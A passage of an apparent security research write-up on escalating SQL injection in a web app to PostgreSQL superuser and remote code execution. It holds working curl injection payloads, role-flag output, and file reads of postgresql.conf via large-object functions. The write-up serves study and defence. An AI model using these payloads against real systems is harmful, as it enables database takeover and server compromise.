text stringlengths 0 1.99k |
|---|
The server took at least 5 seconds to process our query, which may |
indicate our success. Let's check our permissions again: |
-------------------------------------------------------------------------- |
postgres=# SELECT * FROM pg_authid WHERE rolname='poc_user'; \x |
-[ RECORD 1 ]--+------------------------------------ |
oid | 16386 |
rolname | poc_user |
rolsuper | t |
rolinherit | t |
rolcreaterole | t |
rolcreatedb | t |
rolcanlogin | t |
rolreplication | t |
rolbypassrls | t |
rolconnlimit | -1 |
rolpassword | md58616944eb80b569f7be225c2442582cd |
rolvaliduntil | |
-------------------------------------------------------------------------- |
Success! All "rol" flags were flipped to true! Can we reload the config |
now? |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)" |
[ |
{"id":1337,"text":"true"} |
] |
-------------------------------------------------------------------------- |
Notice that this query now returns a row with "text" set to "true", |
confirming that we are indeed able to reload the config now. |
That's more like it! We can now perform SELECT-only RCE. |
--[ 4 - SELECT-only RCE |
---[ 4.0 - Reading original postgresql.conf |
The first step in performing the RCE is to download the original config |
file. Since we are a super-admin now, we can query its path directly from |
the "pg_settings" table without any extra path guessing effort: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, sourcefile FROM pg_file_settings" |
[ |
{"id":1337,"text":"/etc/postgresql/13/main/postgresql.conf"} |
] |
-------------------------------------------------------------------------- |
Let's download it with the help of previously used Large Object functions: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, CAST((SELECT lo_import('/etc/postgresql/13/main/postgresql.conf', 3333331337)) AS text)" |
[ |
{"id":1337,"text":"3333331337"} |
] |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337,translate(encode(lo_get(3333331337), 'base64'), E'\n', '')" | jq ".[].text" -r | base64 -d > postgresql.conf |
-------------------------------------------------------------------------- |
---[ 4.1 - Choosing a parameter to exploit |
There are several known options that can already be used for an RCE: |
- ssl_passphrase_command (by Denis Andzakovic[5]) |
- archive_command (by sylsTyping[6]) |
But are any other parameters worth looking into? |
-------------------------------------------------------------------------- |
$ cat postgresql.conf |
... |
# - Shared Library Preloading - |
#local_preload_libraries = '' |
#session_preload_libraries = '' |
#shared_preload_libraries = '' # (change requires restart) |
... |
# - Other Defaults - |
#dynamic_library_path = '$libdir' |
-------------------------------------------------------------------------- |
These parameters specify libraries to be loaded dynamically by the DBMS |
from the path specified in the "dynamic_library_path" variable, under |
specific conditions. That sounds promising! |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.